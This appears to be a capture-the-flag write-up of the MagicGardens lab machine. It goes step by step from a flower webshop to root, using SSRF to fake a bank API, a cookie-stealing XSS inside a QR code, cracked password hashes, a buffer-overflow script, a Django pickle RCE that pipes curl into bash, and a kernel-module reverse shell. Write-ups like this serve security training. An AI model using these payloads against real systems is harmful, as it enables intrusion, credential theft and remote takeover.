Reconnaissance
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 e0:72:62:48:99:33:4f:fc:59:f8:6c:05:59:db:a7:7b (ECDSA)
|_ 256 62:c6:35:7e:82:3e:b1:0f:9b:6f:5b:ea:fe:c5:85:9a (ED25519)
80/tcp open http nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: Did not follow redirect to http://magicgardens.htb/
1337/tcp open waste?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, JavaRMI, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NCP, NotesRPC, RPCCheck, RTSPRequest, TerminalServer, TerminalServerCookie, X11Probe, afp, giop, ms-sql-s:
|_ [x] Handshake error
5000/tcp open ssl/http Docker Registry (API: 2.0)
| ssl-cert: Subject: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=AU
| Not valid before: 2023-05-23T11:57:43
|_Not valid after: 2024-05-22T11:57:43
|_http-title: Site doesn't have a title.
The nmap scan found two interesting ports, 80 with a redirect to magicgardens.htb
and a docker registry service running on 5000. I’ll add the domain to my /etc/hosts
before having a closer look at the webpage.
HTTP
The webpage is a online shop for all kinds of flowers. It allows adding items to the shopping cart but also supports one-click purchases. Even though the information I need to provide for those ways to purchase differs slightly, the only response I get is that the order will be processed within 24 hours and I’m supposed to show a QR code to receive a discount.
I can also register an account and then I can see any purchases I’ve made while being logged in in the Purchase History. Besides that I get access to a messaging feature and can buy a new subscription to get the QR code previously mentioned.
Initial Access
When I try to upgrade my subscription the page asks for my credit card information. I can only choose from three existing banks: honestbank.htb
, magicalbank.htb
, and plunders.htb
.
I assume there will be some kind of API interaction, so I add those to my /etc/hosts
as well. Then I’ll fill out the rest of the information and submit the request.
Upon pressing Subscribe there’s just one POST request to the shop itself and a new flash message explaining that my subscription is being processed. Refreshing the page shows an error message regarding payment issues.
Repeating the previous request in BurpSuite and replacing the name of the bank with my own IP shows a new request to my webserver. So instead of my browser making the request, it’s the shop itself.
nc -lnvp 80
listening on [any] 80 ...
connect to [10.10.10.10] from (UNKNOWN) [10.129.231.24] 56852
POST /api/payments/ HTTP/1.1
Host: 10.10.10.10
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 130
Content-Type: application/json
{"cardname": "Ryuki", "cardnumber": "1111-2222-3333-4444", "expmonth": "September", "expyear": "2026", "cvv": "352", "amount": 25}
Sending the same POST request to honestbank.htb
returns a 402 Payment Required
status and a JSON payload with the status code, the message, and cardname and cardnumber from the original message. This is likely the format expected by the shop.
I’ll spin up a simple webserver that mimics the official API and returns 200 OK
as status code and message, hoping this will be enough to trick the application in accepting the credit card details.
import json
from http.server import BaseHTTPRequestHandler, HTTPServer
class BankAPI(BaseHTTPRequestHandler):
def do_POST(self):
content_length = int(self.headers['Content-Length'])
post_data = self.rfile.read(content_length).decode('utf-8')
json_data = json.loads(post_data)
response = {'status': '200',
'message': 'OK',
'cardname': json_data['cardname'],
'cardnumber': json_data['cardnumber']}
self.send_response(200)
self.send_header('Content-Type', 'application/json')
self.end_headers()
self.wfile.write(json.dumps(response).encode('utf-8'))
def main():
httpd = HTTPServer(('0.0.0.0', 80), BankAPI)
try:
httpd.serve_forever()
except KeyboardInterrupt:
pass
httpd.server_close()
if __name__ == '__main__':
main()
Repeating the subscription process and changing the bank to my own IP shows a request on my webserver and upon refreshing the page my new premium subscription is enabled.
With the subscription enabled, whenever I make a new purchase I receive a message from morty
thanking me for my order and asking for the QR code. Attaching my QR code in the reply does not do anything though and any attempt to use XSS in the chat fails.
The QR code is dynamically generated through accessing /qr_code/images/serve-qr-code-image/
and a quick online search reveals that it likely belongs to django-qr-code. The contents of the QR code is a string consisting out of 2 hex? values and my username concatenated with a dot.
9e6e246c78abe1e6e94be598f6b6ab1a.0d341bcdc6746f1d452b3f4de32357b9.ryuki
I assume that the contents might be rendered somewhere, so I’ll exchange my username with a XSS payload to steal the cookies. After regenerating a QR code and sending it off to morty
as response to a purchase, I’ll wait for a callback.
9e6e246c78abe1e6e94be598f6b6ab1a.0d341bcdc6746f1d452b3f4de32357b9.<img src='http://10.10.10.10' onerror='let xhr = new XMLHttpRequest();xhr.open("GET","http://10.10.10.10/cookie=" + document.cookie, false);xhr.send();'></img>
In my case that takes a while but eventually morty
looks at my message and unwillingly sends me his cookie. Replacing the cookie in my browser and refreshing the page shows the profile for morty
listing him as Staff.
There’s nothing special in the shop view, so I check if I also have access to the Django Admin Interface running on /admin/
by default1. This works and I now can see the objects stored in the database. Unfortunately the password hash for the (admin) user morty is not visible, but he’s also registered as Store User
and there I can grab his password hash.
Hashcat auto-detected the value as Django (PBKDF2-SHA256)
, takes a few minutes to process the hash and eventually returns jonasbrothers
as result. This allows me to login via SSH.
hashcat --show \
'pbkdf2_sha256$600000$y7K056G3KxbaRc40ioQE8j$e7bq8dE/U+yIiZ8isA0Dc0wuL0gYI3GjmmdzNU+Nl7I=' \
'/usr/share/wordlists/rockyou.txt'
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:
10000 | Django (PBKDF2-SHA256) | Framework
NOTE: Auto-detect is best effort. The correct hash-mode is NOT guaranteed!
Do NOT report auto-detect issues unless you are certain of the hash type.
pbkdf2_sha256$600000$y7K056G3KxbaRc40ioQE8j$e7bq8dE/U+yIiZ8isA0Dc0wuL0gYI3GjmmdzNU+Nl7I=:jonasbrothers
Privilege Escalation
Shell as alex
Besides morty and root, also the user alex
has a login shell configured. Checking the running processes with ps auxww | grep alex
shows this user running harvest server -l /home/alex/.harvest_logs
. The binary is found in /usr/local/bin/harvest
and is, according to the help message, a remote network analyzer. Apparently that’s the process running on port 1337
.
Running harvest
in client mode while specifying 127.0.0.1 as server address shows a stream of network packets as output with the IP and MAC address for source and destination, as well as a timestamp.
$ harvest client 127.0.0.1
[*] Connection to 127.0.0.1 1337 port succeeded
[*] Successful handshake
--------------------------------------------------
Source: [00:50:56:94:cf:df] [10.129.231.24]
Dest: [00:50:56:b9:f8:ec] [10.10.10.10]
Time: [13:59:12] Length: [86]
--------------------------------------------------
Source: [00:50:56:b9:f8:ec] [10.10.10.10]
Dest: [00:50:56:94:cf:df] [10.129.231.24]
Time: [13:59:12] Length: [86]
--------------------------------------------------
Source: [00:50:56:b9:f8:ec] [10.10.10.10]
Dest: [00:50:56:94:cf:df] [10.129.231.24]
Time: [13:59:12] Length: [86]
--------------------------------------------------
Source: [00:00:00:00:00:00] [127.0.0.1]
Dest: [00:00:00:00:00:00] [127.0.0.1]
Time: [13:59:15] Length: [0]
--------------------------------------------------
In order to analyze the file, I’ll transfer it to my machine via scp and load it into Ghidra. After Ghidra finished analyzing the file, I’ll check out the server component in harvest_server
or more specify harvest_listen
. There I skim over the decompiled code and find references to client connections (handle_client) and more importantly handle_raw_packets
.
While handling the raw packets, the data is stored in a char array of length 65554 and the information that were visible in the client output are retrieved. More interesting is the fact that IPv4
packets are printed and IPv6
packets are apparently logged instead.
void handle_raw_packets(int param_1,undefined8 param_2,undefined8 param_3)
{
ssize_t sVar1;
char *pcVar2;
char acStack_1007a [8];
undefined uStack_10072;
time_t tStack_10070;
char acStack_10068 [32];
char acStack_10048 [32];
byte bStack_10028;
byte bStack_10027;
byte bStack_10026;
byte bStack_10025;
byte bStack_10024;
byte bStack_10023;
byte bStack_10022;
byte bStack_10021;
byte bStack_10020;
byte bStack_1001f;
byte bStack_1001e;
byte bStack_1001d;
char packet [65554];
memset(&bStack_10028,0,0xffff);
sVar1 = recvfrom(param_1,&bStack_10028,0xffff,0,(sockaddr *)0x0,(socklen_t *)0x0);
tStack_10070 = time((time_t *)0x0);
pcVar2 = ctime(&tStack_10070);
strncpy(acStack_1007a,pcVar2 + 0xb,8);
uStack_10072 = 0;
if ((uint)sVar1 < 0x28) {
puts("Incomplete packet ");
close(param_1);
/* WARNING: Subroutine does not return */
exit(0);
}
sprintf(acStack_10048,"%.2x:%.2x:%.2x:%.2x:%.2x:%.2x",(ulong)bStack_10022,(ulong)bStack_10021,
(ulong)bStack_10020,(ulong)bStack_1001f,(ulong)bStack_1001e,(ulong)bStack_1001d);
sprintf(acStack_10068,"%.2x:%.2x:%.2x:%.2x:%.2x:%.2x",(ulong)bStack_10028,(ulong)bStack_10027,
(ulong)bStack_10026,(ulong)bStack_10025,(ulong)bStack_10024,(ulong)bStack_10023);
/* IPv4 */
if (packet[0] == 0x45) {
print_packet(packet,param_3,param_2,acStack_10048,acStack_10068,acStack_1007a,&bStack_10028);
}
/* IPv6 */
if (packet[0] == 0x60) {
log_packet(packet,param_3);
}
return;
}
Within the log_packet
function a new buffer is initialized with length 65360, directly followed by the filename of the logfile. This strikes me as odd because in the calling function the buffer was bigger. This might open up a way to overflow the buffer and then overwrite the actual filename.
undefined8 log_packet(long packet_data,char *filename)
{
uint16_t payload_length;
char packet_buffer [65360];
char file_name [40];
FILE *log_file;
payload_length = htons(*(uint16_t *)(packet_data + 4));
if (payload_length != 0) {
strcpy(file_name,filename);
strncpy(packet_buffer,(char *)(packet_data + 0x3c),(ulong)payload_length);
(packet_buffer + payload_length)[0] = '\n';
(packet_buffer + payload_length)[1] = '\0';
log_file = fopen(file_name,"w");
if (log_file == (FILE *)0x0) {
puts("Bad log file");
}
else {
fprintf(log_file,packet_buffer);
fclose(log_file);
puts("[!] Suspicious activity. Packages have been logged.");
}
}
return 0;
}
To test my theory I run harvest server -i lo -l /tmp/test.log
server on my machine to listen on the loopback interface and log to a file. In another tab I run the binary in client mode. Then I send an IPv6
packet with Python. At first I try with TCP and nothing happens, but using UDP
instead I’m able to get a much larger packet size (8 byte header + 65527
bytes of data).
import socket
# Create an IPv6 UDP socket
conn = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
# Connect to any local port
conn.connect(('::1', 31337))
# Send junk
conn.send(b'A' * 65527)
As soon as I send the UDP packet to any port, the harvest server crashes with a SegmentationFault
and a file with just As appears in the current directory. This likely means that I’ve overwritten RIP
with junk data and I’ll try to figure out when that happens next. First I create a pattern with msf-pattern_create -l 65527 > pattern.txt
and then repeat the previous steps while sending the pattern as data.
import socket
def send_pattern(connection):
# msf-pattern_create -l 65527 > pattern.txt
with open('pattern.txt') as f:
connection.send(f.read().strip().encode('utf-8'))
conn = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
conn.connect(('::1', 31337))
send_pattern(conn)
After crashing the server once again another file appears, this time called Fu8Fu9Fv0Fv1......SNIP......
. Looking up the offset for the first four characters finds multiple candidates but the buffer is pretty large, it’s 65364
for sure.
$ msf-pattern_offset -q "Fu8F" -l 65527
[*] Exact match at offset 4524
[*] Exact match at offset 24804
[*] Exact match at offset 45084
[*] Exact match at offset 65364
In order to abuse this, I also need the offset when I start writing the contents of the file. Getting the first 4 characters from the content and feeding them into msf-pattern_offset
returns multiple exact matches with 4
being the most likely considering the purpose is to log the whole packet.
$ head -c 4 Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy
a1Aa
$ msf-pattern_offset -q "a1Aa" -l 65527
[*] Exact match at offset 4
[*] Exact match at offset 20284
[*] Exact match at offset 40564
[*] Exact match at offset 60844
I already know that alex
is running the server, so I could create files with arbitrary content in his context. I opt to create a /home/alex/.ssh/authorized_keys
with my SSH key as content. Based on the offsets I can create my payload starting with 4 spaces, followed by my SSH key terminated with a newline. Then I add more junk to reach the point where I overwrite the filename that I also add, this time terminated with a null-byte.
import socket
MAX_LENGTH_UDP = 65527
FILENAME_OFFSET = 65364
CONTENT_OFFSET = 4
conn = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
conn.connect(('::1', 31337))
file_name = '/home/alex/.ssh/authorized_keys\0'
file_content = 'ssh-rsa ....' + '\n'
junk = ' ' * CONTENT_OFFSET
junk += file_content
junk += ' ' * (FILENAME_OFFSET - CONTENT_OFFSET - len(file_content))
junk += file_name
junk += ' ' * (MAX_LENGTH_UDP - len(junk))
conn.send(junk.encode('utf-8'))
While being connected to the harvest
server as a client, I run the exploit from a SSH session. The client connection drops right away and I’m able to use my key to collect the first flag as alex
.
Shell as root
Right after logging in as alex
, the message of the day informs me that I have a mail. In /var/mail/alex
is a message from root with a ZIP attachment called auth.zip
. The needed password is supposed to be on alex’s desk and the contents of the archive seem to be related to the Docker Registry
.
From root@magicgardens.magicgardens.htb Fri Sep 29 09:31:49 2023
Return-Path: <root@magicgardens.magicgardens.htb>
X-Original-To: alex@magicgardens.magicgardens.htb
Delivered-To: alex@magicgardens.magicgardens.htb
Received: by magicgardens.magicgardens.htb (Postfix, from userid 0)
id 3CDA93FC96; Fri, 29 Sep 2023 09:31:49 -0400 (EDT)
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="1804289383-1695994309=:37178"
Subject: Auth file for docker
To: <alex@magicgardens.magicgardens.htb>
User-Agent: mail (GNU Mailutils 3.15)
Date: Fri, 29 Sep 2023 09:31:49 -0400
Message-Id: <20230929133149.3CDA93FC96@magicgardens.magicgardens.htb>
From: root <root@magicgardens.magicgardens.htb>
--1804289383-1695994309=:37178
Content-Type: text/plain; charset=UTF-8
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
Content-ID: <20230929093149.37178@magicgardens.magicgardens.htb>
Use this file for registry configuration. The password is on your desk
--1804289383-1695994309=:37178
Content-Type: application/octet-stream; name="auth.zip"
Content-Disposition: attachment; filename="auth.zip"
Content-Transfer-Encoding: base64
Content-ID: <20230929093149.37178.1@magicgardens.magicgardens.htb>
UEsDBAoACQAAAG6osFh0pjiyVAAAAEgAAAAIABwAaHRwYXNzd2RVVAkAA29KRmbOSkZmdXgLAAEE
6AMAAAToAwAAVb+x1HWvt0ZpJDnunJUUZcvJr8530ikv39GM1hxULcFJfTLLNXgEW2TdUU3uZ44S
q4L6Zcc7HmUA041ijjidMG9iSe0M/y1tf2zjMVg6Dbc1ASfJUEsHCHSmOLJUAAAASAAAAFBLAQIe
AwoACQAAAG6osFh0pjiyVAAAAEgAAAAIABgAAAAAAAEAAACkgQAAAABodHBhc3N3ZFVUBQADb0pG
ZnV4CwABBOgDAAAE6AMAAFBLBQYAAAAAAQABAE4AAACmAAAAAAA=
--1804289383-1695994309=:37178--
Before extracting the hash with zip2john
I decode the base64 encoded attachment and pipe it into a file. Then I run john
to try and crack the password. That’s succesful and I can unzip the archive with realmadrid
.
$ echo "UEsDBAoACQAAAG6osFh0pjiyVAAAAEgAAAAIABwAaHRwYXNzd2RVVAkAA29KRmbOSkZmdXgLAAEE6AMAAAToAwAAVb+x1HWvt0ZpJDnunJUUZcvJr8530ikv39GM1hxULcFJfTLLNXgEW2TdUU3uZ44Sq4L6Zcc7HmUA041ijjidMG9iSe0M/y1tf2zjMVg6Dbc1ASfJUEsHCHSmOLJUAAAASAAAAFBLAQIeAwoACQAAAG6osFh0pjiyVAAAAEgAAAAIABgAAAAAAAEAAACkgQAAAABodHBhc3N3ZFVUBQADb0pGZnV4CwABBOgDAAAE6AMAAFBLBQYAAAAAAQABAE4AAACmAAAAAAA=" \
| base64 -d > auth.zip
$ zip2john auth.zip > hash
ver 1.0 efh 5455 efh 7875 auth.zip/htpasswd PKZIP Encr: 2b chk, TS_chk, cmplen=84, decmplen=72, crc=B238A674 ts=A86E cs=a86e type=0
$ john --fork=10 --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Node numbers 1-10 of 10 (fork)
Press 'q' or Ctrl-C to abort, almost any other key for status
realmadrid (auth.zip/htpasswd)
--- SNIP ---
The ZIP contains htpasswd
with a password for AlexMiles
.
AlexMiles:$2y$05$KKShqNw.A66mmpEqmNJ0kuoBwO2rbdWetc7eXA7TbjhHZGs2Pa5Hq
Going back to john
and using the file as input, the cleartext password of diamonds
is found within a few moments.
john --fork=10 --wordlist=/usr/share/wordlists/rockyou.txt htpasswd
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 32 for all loaded hashes
Node numbers 1-10 of 10 (fork)
Press 'q' or Ctrl-C to abort, almost any other key for status
diamonds (AlexMiles)
--- SNIP ---
With the credentials AlexMiles:diamonds
I can authenticate to the Docker Registry running on port 5000. I can either configure my docker daemon or use a tool like DockerRegistryGrabber to list and download the available images.
git clone https://github.com/Syzik/DockerRegistryGrabber
cd DockerRegistryGrabber
python3 -m venv venv && source venv/bin/activate
pip install -r requirements.txt
After cloning the repository and installing the needed requirements in a virtual environment, I list the images on the registry and just one name comes back: magicgardens.htb
. Dumping this image to disk retrieves multiple layers.
python drg.py -U AlexMiles -P diamonds https://magicgardens.htb --list
[+] magicgardens.htb
python drg.py -U AlexMiles -P diamonds https://magicgardens.htb --dump magicgardens.htb
[+] BlobSum found 32
[+] Dumping magicgardens.htb
[+] Downloading : d3a3443a740ae9a727dbd8868b751b492da27507f3cbbe0965982e65c436b8c0
[+] Downloading : 2ed799371a1863449219ad8510767e894da4c1364f94701e7a26cc983aaf4ca6
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b0c11cc482abe59dbeea1133c92720f7a3feca9c837d75fd76936b1c6243938c
[+] Downloading : 748da8c1b87e668267b90ea305e2671b22d046dcfeb189152bf590d594c3b3fc
[+] Downloading : 81771b31efb313fb18dae7d8ca3a93c8c4554aa09239e09d61bbbc7ed58d4515
[+] Downloading : 35b21a215463f8130302987a1954d01a8346cdd82c861d57eeb3cfb94d6511a8
[+] Downloading : 437853d7b910e50d0a0a43b077da00948a21289a32e6ce082eb4d44593768eb1
[+] Downloading : f9afd820562f8d93873f4dfed53f9065b928c552cf920e52e804177eff8b2c82
[+] Downloading : d66316738a2760996cb59c8eb2b28c8fa10a73ce1d98fb75fda66071a1c659d6
[+] Downloading : fedbb0514db0150f2376b0f778e5f304c302b53619b96a08824c50da7e3e97ea
[+] Downloading : 480311b89e2d843d87e76ea44ffbb212643ba89c1e147f0d0ff800b5fe8964fb
[+] Downloading : 02cea9e48b60ccaf6476be25bac7b982d97ef0ed66baeb8b0cffad643ece37d5
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : 8999ec22cbc0ab31d0e3471d591538ff6b2b4c3bbace9c2a97e6c68844382a78
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : 470924304c244ba833543bb487c73e232fd34623cdbfa51d30eab30ce802a10d
[+] Downloading : 4bc8eb4a36a30acad7a56cf0b58b279b14fce7dd6623717f32896ea748774a59
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : 9c94b131279a02de1f5c2eb72e9cda9830b128840470843e0761a45d7bebbefe
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : c485c4ba383179db59368a8a4d2df3e783620647fe0b014331c7fd2bd8526e5b
[+] Downloading : 9b1fd34c30b75e7edb20c2fd09a9862697f302ef9ae357e521ef3c84d5534e3f
[+] Downloading : d31b0195ec5f04dfc78eca9d73b5d223fc36a29f54ee888bc4e0615b5839e692
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : de4cac68b6165c40cf6f8b30417948c31be03a968e233e55ee40221553a5e570
Instead of inspecting each of those layers separately I extract all layers into out
to get the filesystem in the final image. The correct order is determined with the creation timestamp (from the previous Python script). In the extracted files I can find the source code of the application including its SECRET_KEY
in an environment file.
$ ls -1c -r *.gz | while read x; do tar xf "$x" -C out/ ; done
$ ls -la out/user/src/app
total 212
drwxr-xr-x 6 ryuki ryuki 4096 Aug 28 2023 .
drwxr-xr-x 7 ryuki ryuki 4096 Jul 14 2023 ..
-rwxr-x--- 1 ryuki ryuki 97 Aug 11 2023 .env
drwxr-x--- 3 ryuki ryuki 4096 Aug 11 2023 app
-rwxr-x--- 1 ryuki ryuki 176128 Aug 11 2023 db.sqlite3
-rwxr-x--- 1 ryuki ryuki 156 Aug 11 2023 entrypoint.sh
-rwxr-x--- 1 ryuki ryuki 561 Aug 11 2023 manage.py
drwxr-x--- 6 ryuki ryuki 4096 Aug 11 2023 media
-rwxr-x--- 1 ryuki ryuki 77 Aug 11 2023 requirements.txt
drwxr-x--- 4 ryuki ryuki 4096 Aug 11 2023 static
drwxr-x--- 6 ryuki ryuki 4096 Aug 11 2023 store
$ cat out/user/src/app/.env
DEBUG=False
SECRET_KEY=55A6cc8e2b8#ae1662c34)618U549601$7eC3f0@b1e8c2577J22a8f6edcb5c9b80X8f4&87b
Django uses pickling to store information in the cookies2, so as soon as the SECRET_KEY
is leaked, it’s possible to forge valid cookies that are deserialized in the application.
#!/usr/bin/python3
import os
import django
from django.core import signing
from django.conf import settings
from django.contrib.sessions.serializers import PickleSerializer
SECRET_KEY = '55A6cc8e2b8#ae1662c34)618U549601$7eC3f0@b1e8c2577J22a8f6edcb5c9b80X8f4&87b'
cookie = '.eJxNjU1qwzAQhZNFQgMphZyi3QhLluNoV7rvqgcwkixFbhMJ9EPpotADzHJ63zpuAp7d977Hm5_V7265mO4bH-GuJBO9PBuE1TnE_IWwTlnmksbgLUtrETafQ3LdaUgZYYGwnVCH4rOJ6Naw0TLmfz_SdqKZvu9kya67POqGHmHJEHazTEn9Yfwonvp36Y-B6OBzHBS5VMjVJvIaenN6uXUfZgNOJofwTBttmW0FrU3VcGbMgWlRKcWptIIy2Ryqfa1t0-o9VYqpyrCaG061amuuhcBC_gDes2X7:1syw7a:K6fl5qRtI2__XhrMZZXCPZdj-jCmV9e6y5mWRH6lbio'
settings.configure(SECRET_KEY=SECRET_KEY)
# Deserialize the cookie
new_content = django.core.signing.loads(
cookie,
key=SECRET_KEY,
serializer=PickleSerializer,
salt='django.contrib.sessions.backends.signed_cookies'
)
# Define the class for remote code execution (RCE)
class PickleRce(object):
def __reduce__(self):
return (os.system, ("curl http://10.10.10.10/rce.sh | bash",))
# Add the malicious payload to the cookie
new_content['testcookie'] = PickleRce()
# Serialize the new content back into a cookie
signed_cookie = django.core.signing.dumps(
new_content,
key=SECRET_KEY,
serializer=django.contrib.sessions.serializers.PickleSerializer,
salt='django.contrib.sessions.backends.signed_cookies',
compress=True
)
print(signed_cookie)
As soon as I replace the cookie for the shop with the generated one and refresh the page, I get a callback as root
from the Docker container. Listing the enabled capabilities
shows cap_sys_module
, allowing me to load additional kernel modules and since the kernel is shared this will also affect the host.
$ capsh --print
Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_audit_write,cap_setfcap=ep
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_audit_write,cap_setfcap
Ambient set =
Current IAB: !cap_dac_read_search,!cap_linux_immutable,!cap_net_broadcast,!cap_net_admin,!cap_ipc_lock,!cap_ipc_owner,!cap_sys_rawio,!cap_sys_ptrace,!cap_sys_pacct,!cap_sys_admin,!cap_sys_boot,!cap_sys_nice,!cap_sys_resource,!cap_sys_time,!cap_sys_tty_config,!cap_mknod,!cap_lease,!cap_audit_control,!cap_mac_override,!cap_mac_admin,!cap_syslog,!cap_wake_alarm,!cap_block_suspend,!cap_audit_read,!cap_perfmon,!cap_bpf,!cap_checkpoint_restore
Securebits: 00/0x0/1'b0 (no-new-privs=0)
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
secure-no-ambient-raise: no (unlocked)
uid=0(root) euid=0(root)
gid=0(root)
groups=0(root)
Guessed mode: HYBRID (4)
Based on the example on hacktricks I create a new C
file with the source code of the module. Upon loading it will spawn a reverse shell as root
on the host.
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.10.10./4444 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
// call_usermodehelper function is used to create user mode processes from kernel space
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);
obj-m +=reverse-shell.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
Next to the C
file, I create the following Makefile
in the container. Then I run make
to compile the code to create reverse-shell.ko
. At last I load the module and get a callback on my listener right away, allowing me to read the final flag.
$ make
make -C /lib/modules/6.1.0-20-amd64/build M=/tmp modules
make[1]: Entering directory '/usr/src/linux-headers-6.1.0-20-amd64'
CC [M] /tmp/reverse-shell.o
MODPOST /tmp/Module.symvers
CC [M] /tmp/reverse-shell.mod.o
LD [M] /tmp/reverse-shell.ko
BTF [M] /tmp/reverse-shell.ko
Skipping BTF generation for /tmp/reverse-shell.ko due to unavailability of vmlinux
make[1]: Leaving directory '/usr/src/linux-headers-6.1.0-20-amd64'
$ insmod reverse-shell.ko
Attack Path
flowchart TD subgraph "Initial access" A(Flower webshop) -->|Imitate Bank API| B(Premium Subscription) B -->|Purchase flowers and provide QR code with XSS| C(Cookie from morty) C -->|Access to Django Admin Dashboard| D(Hash for morty) D -->|Crack hash| E(Shell as morty) end subgraph "Privilege Escalation" E -->|Buffer Overflow in harvest| F(Write arbitrary files as alex) F -->|Overwrite authorized_keys| G(Shell as alex) G -->|Mail from Root| H(Password protected ZIP) H -->|zip2john| I(htpasswd with password hash) I -->|Crack hash| J(Access to Docker registry) J -->|Dump images| K(SECRET_KEY of webshop) K -->|Deserialization| L(Access as root in container) L -->|Load kernel module with cap_sys_module| M(Shell as root) end